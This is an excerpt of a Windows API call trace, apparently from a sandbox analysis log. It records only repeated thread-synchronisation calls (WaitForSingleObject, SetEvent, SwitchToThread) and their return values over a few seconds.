	[0074.136] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.137] SetEvent (hEvent=0xb4) returned 1
	[0074.137] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.264] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.292] SetEvent (hEvent=0x6c) returned 1
	[0074.292] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.298] SetEvent (hEvent=0x6c) returned 1
	[0074.298] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.299] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.302] SetEvent (hEvent=0x6c) returned 1
	[0074.302] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.303] SetEvent (hEvent=0x80) returned 1
	[0074.303] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.347] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.368] SetEvent (hEvent=0x6c) returned 1
	[0074.368] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.373] SetEvent (hEvent=0x6c) returned 1
	[0074.373] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.373] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.376] SetEvent (hEvent=0x6c) returned 1
	[0074.376] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.377] SetEvent (hEvent=0xb4) returned 1
	[0074.377] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.465] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.486] SetEvent (hEvent=0x6c) returned 1
	[0074.486] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.491] SetEvent (hEvent=0x6c) returned 1
	[0074.491] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.491] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.494] SetEvent (hEvent=0x6c) returned 1
	[0074.494] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.495] SetEvent (hEvent=0x80) returned 1
	[0074.495] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.543] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.563] SetEvent (hEvent=0x6c) returned 1
	[0074.563] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.568] SetEvent (hEvent=0x6c) returned 1
	[0074.568] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.568] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.571] SetEvent (hEvent=0x6c) returned 1
	[0074.571] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.572] SetEvent (hEvent=0xb4) returned 1
	[0074.572] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.613] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.632] SetEvent (hEvent=0x6c) returned 1
	[0074.633] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.637] SetEvent (hEvent=0x6c) returned 1
	[0074.637] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.638] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.641] SetEvent (hEvent=0x6c) returned 1
	[0074.641] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.642] SetEvent (hEvent=0x80) returned 1
	[0074.642] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.694] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.712] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.719] SetEvent (hEvent=0x6c) returned 1
	[0074.719] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.719] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.722] SetEvent (hEvent=0x6c) returned 1
	[0074.723] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.724] SetEvent (hEvent=0xb4) returned 1
	[0074.724] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.766] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.786] SetEvent (hEvent=0x6c) returned 1
	[0074.786] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.791] SetEvent (hEvent=0x6c) returned 1
	[0074.791] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.791] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.794] SetEvent (hEvent=0x6c) returned 1
	[0074.795] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.796] SetEvent (hEvent=0x80) returned 1
	[0074.796] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.839] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.859] SetEvent (hEvent=0x6c) returned 1
	[0074.859] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.864] SetEvent (hEvent=0x6c) returned 1
	[0074.864] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.864] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.867] SetEvent (hEvent=0x6c) returned 1
	[0074.867] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.868] SetEvent (hEvent=0xb4) returned 1
	[0074.868] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.910] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.928] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.935] SetEvent (hEvent=0x6c) returned 1
	[0074.935] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.935] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.938] SetEvent (hEvent=0x6c) returned 1
	[0074.938] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.940] SetEvent (hEvent=0x80) returned 1
	[0074.940] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.997] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.024] SetEvent (hEvent=0x6c) returned 1
	[0075.024] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.029] SetEvent (hEvent=0x6c) returned 1
	[0075.029] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.030] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.033] SetEvent (hEvent=0x6c) returned 1
	[0075.033] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.034] SetEvent (hEvent=0xb4) returned 1
	[0075.034] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.075] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.120] SetEvent (hEvent=0x6c) returned 1
	[0075.120] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.125] SetEvent (hEvent=0x6c) returned 1
	[0075.125] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.125] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.128] SetEvent (hEvent=0x6c) returned 1
	[0075.128] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.129] SetEvent (hEvent=0x80) returned 1
	[0075.129] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.172] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.173] SetEvent (hEvent=0x80) returned 1
	[0075.173] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.173] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.719] SetEvent (hEvent=0x78) returned 1
	[0075.719] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.719] SetEvent (hEvent=0x78) returned 1
	[0075.720] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.727] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.746] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.781] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.789] SetEvent (hEvent=0x6c) returned 1
	[0075.789] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.790] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.816] SetEvent (hEvent=0x6c) returned 1
	[0075.816] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.817] SetEvent (hEvent=0x6c) returned 1
	[0075.817] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.818] SetEvent (hEvent=0x6c) returned 1
	[0075.818] SwitchToThread () returned 1
	[0075.818] SetEvent (hEvent=0x6c) returned 1
	[0075.818] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.818] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.861] SetEvent (hEvent=0x6c) returned 1
	[0075.861] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.863] SetEvent (hEvent=0x78) returned 1
	[0075.863] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.886] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.889] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.923] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.939] SetEvent (hEvent=0x6c) returned 1
	[0075.939] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.939] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.965] SetEvent (hEvent=0x6c) returned 1
	[0075.965] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.967] SetEvent (hEvent=0x6c) returned 1
	[0075.967] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.967] SetEvent (hEvent=0x6c) returned 1
	[0075.967] SwitchToThread () returned 1
	[0075.968] SetEvent (hEvent=0x6c) returned 1
	[0075.968] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.968] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.019] SetEvent (hEvent=0x6c) returned 1
	[0076.019] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.020] SetEvent (hEvent=0x78) returned 1
	[0076.020] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.061] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.064] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.100] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.153] SetEvent (hEvent=0x6c) returned 1
	[0076.153] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.153] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.179] SetEvent (hEvent=0x6c) returned 1
	[0076.179] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.181] SetEvent (hEvent=0x6c) returned 1
	[0076.181] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.181] SetEvent (hEvent=0x6c) returned 1
	[0076.182] SwitchToThread () returned 1
	[0076.182] SetEvent (hEvent=0x6c) returned 1
	[0076.182] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.182] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.223] SetEvent (hEvent=0x6c) returned 1
	[0076.223] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.225] SetEvent (hEvent=0x78) returned 1
	[0076.225] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.247] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.250] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.289] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.305] SetEvent (hEvent=0x6c) returned 1
	[0076.305] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.305] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.334] SetEvent (hEvent=0x6c) returned 1
	[0076.334] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.336] SetEvent (hEvent=0x6c) returned 1
	[0076.336] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.336] SetEvent (hEvent=0x6c) returned 1
	[0076.336] SwitchToThread () returned 1
	[0076.336] SetEvent (hEvent=0x6c) returned 1
	[0076.336] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.337] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.381] SetEvent (hEvent=0x6c) returned 1
	[0076.381] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.383] SetEvent (hEvent=0x78) returned 1
	[0076.383] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.408] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.411] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.457] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.507] SetEvent (hEvent=0x6c) returned 1
	[0076.507] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.507] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.531] SetEvent (hEvent=0x6c) returned 1
	[0076.531] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.533] SetEvent (hEvent=0x6c) returned 1
	[0076.533] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.534] SetEvent (hEvent=0x6c) returned 1
	[0076.534] SwitchToThread () returned 1
	[0076.534] SetEvent (hEvent=0x6c) returned 1
	[0076.534] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.534] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.581] SetEvent (hEvent=0x6c) returned 1
	[0076.581] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.582] SetEvent (hEvent=0x78) returned 1
	[0076.582] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.606] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.609] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.643] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.649] SetEvent (hEvent=0x78) returned 1
	[0076.650] SetEvent (hEvent=0xb4) returned 1
	[0076.650] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0076.654] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.654] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0076.654] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.654] SetEvent (hEvent=0x78) returned 1
	[0076.654] SetEvent (hEvent=0xb4) returned 1
	[0076.654] SetEvent (hEvent=0x80) returned 1
	[0076.654] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.655] SetEvent (hEvent=0xa8) returned 1
	[0076.655] SetEvent (hEvent=0x80) returned 1
	[0076.655] SetEvent (hEvent=0x6c) returned 1
	[0076.655] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.660] SetEvent (hEvent=0x6c) returned 1
	[0076.660] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.662] SetEvent (hEvent=0x6c) returned 1
	[0076.662] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.662] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.682] SetEvent (hEvent=0x6c) returned 1
	[0076.682] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.683] SetEvent (hEvent=0x80) returned 1
	[0076.683] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.724] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.744] SetEvent (hEvent=0x6c) returned 1
	[0076.744] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.749] SetEvent (hEvent=0x6c) returned 1
	[0076.749] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.749] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.752] SetEvent (hEvent=0x6c) returned 1
	[0076.752] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.753] SetEvent (hEvent=0xb4) returned 1
	[0076.753] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.810] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.831] SetEvent (hEvent=0x6c) returned 1
	[0076.831] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.836] SetEvent (hEvent=0x6c) returned 1
	[0076.836] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.837] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.840] SetEvent (hEvent=0x6c) returned 1
	[0076.840] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.840] SetEvent (hEvent=0x80) returned 1
	[0076.841] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.882] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.902] SetEvent (hEvent=0x6c) returned 1
	[0076.902] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.907] SetEvent (hEvent=0x6c) returned 1
	[0076.907] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.907] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.910] SetEvent (hEvent=0x6c) returned 1
	[0076.910] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.911] SetEvent (hEvent=0xb4) returned 1
	[0076.911] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.938] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.958] SetEvent (hEvent=0x6c) returned 1
	[0076.958] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.963] SetEvent (hEvent=0x6c) returned 1
	[0076.963] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.963] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.966] SetEvent (hEvent=0x6c) returned 1
	[0076.966] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.967] SetEvent (hEvent=0x80) returned 1
	[0076.967] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.994] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.014] SetEvent (hEvent=0x6c) returned 1
	[0077.014] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.019] SetEvent (hEvent=0x6c) returned 1
	[0077.019] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.020] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.023] SetEvent (hEvent=0x6c) returned 1
	[0077.023] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.023] SetEvent (hEvent=0xb4) returned 1
	[0077.024] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.051] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.071] SetEvent (hEvent=0x6c) returned 1
	[0077.071] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.092] SetEvent (hEvent=0x6c) returned 1
	[0077.092] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.093] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.096] SetEvent (hEvent=0x6c) returned 1
	[0077.096] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.099] SetEvent (hEvent=0x80) returned 1
	[0077.099] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.126] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.145] SetEvent (hEvent=0x6c) returned 1
	[0077.145] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.150] SetEvent (hEvent=0x6c) returned 1
	[0077.150] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.150] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.154] SetEvent (hEvent=0x6c) returned 1
	[0077.154] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.154] SetEvent (hEvent=0xb4) returned 1
	[0077.154] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.181] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.199] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.206] SetEvent (hEvent=0x6c) returned 1
	[0077.206] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.206] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.209] SetEvent (hEvent=0x6c) returned 1
	[0077.209] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.210] SetEvent (hEvent=0x80) returned 1
	[0077.210] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.238] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.258] SetEvent (hEvent=0x6c) returned 1
	[0077.258] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.262] SetEvent (hEvent=0x6c) returned 1
	[0077.263] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.263] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.266] SetEvent (hEvent=0x6c) returned 1
	[0077.266] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.266] SetEvent (hEvent=0xb4) returned 1
	[0077.267] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.320] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.324] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.346] SetEvent (hEvent=0x6c) returned 1
	[0077.346] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.347] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.351] SetEvent (hEvent=0x6c) returned 1
	[0077.351] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.351] SetEvent (hEvent=0x80) returned 1
	[0077.351] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.393] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.414] SetEvent (hEvent=0x6c) returned 1
	[0077.414] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.419] SetEvent (hEvent=0x6c) returned 1
	[0077.419] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.419] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.422] SetEvent (hEvent=0x6c) returned 1
	[0077.422] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.423] SetEvent (hEvent=0xb4) returned 1
	[0077.423] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.451] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.471] SetEvent (hEvent=0x6c) returned 1
	[0077.471] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.475] SetEvent (hEvent=0x6c) returned 1
	[0077.475] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.476] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.479] SetEvent (hEvent=0x6c) returned 1
	[0077.479] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.480] SetEvent (hEvent=0x80) returned 1
	[0077.480] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.508] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.528] SetEvent (hEvent=0x6c) returned 1
	[0077.528] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.533] SetEvent (hEvent=0x6c) returned 1
	[0077.533] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.533] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.536] SetEvent (hEvent=0x6c) returned 1
	[0077.536] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
